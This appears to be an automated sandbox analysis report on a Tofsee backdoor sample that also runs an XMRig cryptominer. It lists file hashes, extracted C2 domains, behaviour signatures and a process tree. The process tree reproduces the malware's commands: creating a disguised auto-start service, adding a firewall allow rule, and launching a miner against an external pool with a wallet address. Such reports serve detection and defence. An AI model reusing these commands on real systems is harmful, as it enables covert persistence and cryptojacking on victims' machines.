Resubmissions

08-05-2023 12:04

230508-n83alscc6v 10

14-02-2023 12:24

230214-pljenacf6s 1

14-02-2023 12:00

230214-n6rq4adb47 10

14-02-2023 11:52

230214-n1s2zace3s 10

24-01-2023 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    95s
  • max time network
    99s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08-05-2023 12:04

General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jnmkkck\
      2⤵
        PID:1240
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe" C:\Windows\SysWOW64\jnmkkck\
        2⤵
          PID:1924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jnmkkck binPath= "C:\Windows\SysWOW64\jnmkkck\yermfmzu.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jnmkkck "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jnmkkck
          2⤵
          • Launches sc.exe
          PID:280
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1072
      • C:\Windows\SysWOW64\jnmkkck\yermfmzu.exe
        C:\Windows\SysWOW64\jnmkkck\yermfmzu.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1736

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\yermfmzu.exe

        Filesize

        11.7MB

        MD5

        0a70d34c25d987b0398085a8ea3db580

        SHA1

        f17903e2a45f3839b6f4b107e2bff9aa2e36c038

        SHA256

        6389f16a62021017de660946c303b5b47399ec355ddb23cde6091904bff528e6

        SHA512

        e680a74c0fe7533cb3dbbba12a7f3fec7af86fd8fbb0bf72cd1591e5e1f73c1c86bbf8f0f01bec57e9a81398d0bb3b9905e415a6cbf8220d671d4cfc5e809011

      • C:\Windows\SysWOW64\jnmkkck\yermfmzu.exe

        Filesize

        11.7MB

        MD5

        0a70d34c25d987b0398085a8ea3db580

        SHA1

        f17903e2a45f3839b6f4b107e2bff9aa2e36c038

        SHA256

        6389f16a62021017de660946c303b5b47399ec355ddb23cde6091904bff528e6

        SHA512

        e680a74c0fe7533cb3dbbba12a7f3fec7af86fd8fbb0bf72cd1591e5e1f73c1c86bbf8f0f01bec57e9a81398d0bb3b9905e415a6cbf8220d671d4cfc5e809011

      • memory/632-66-0x0000000000400000-0x000000000045E000-memory.dmp

        Filesize

        376KB

      • memory/1076-88-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-63-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-61-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-89-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-67-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-106-0x0000000005850000-0x0000000005C5B000-memory.dmp

        Filesize

        4.0MB

      • memory/1076-68-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-69-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-70-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/1076-72-0x0000000001BE0000-0x0000000001DEF000-memory.dmp

        Filesize

        2.1MB

      • memory/1076-90-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-76-0x00000000000C0000-0x00000000000C6000-memory.dmp

        Filesize

        24KB

      • memory/1076-91-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-82-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-83-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-84-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-85-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-86-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-87-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-107-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/1076-75-0x0000000001BE0000-0x0000000001DEF000-memory.dmp

        Filesize

        2.1MB

      • memory/1076-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1076-79-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-92-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-93-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-94-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-95-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-96-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-97-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-98-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1076-99-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/1076-102-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/1076-103-0x0000000005850000-0x0000000005C5B000-memory.dmp

        Filesize

        4.0MB

      • memory/1736-111-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-112-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1736-119-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-121-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-123-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-124-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-122-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1736-120-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/2032-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2032-60-0x0000000000400000-0x000000000045E000-memory.dmp

        Filesize

        376KB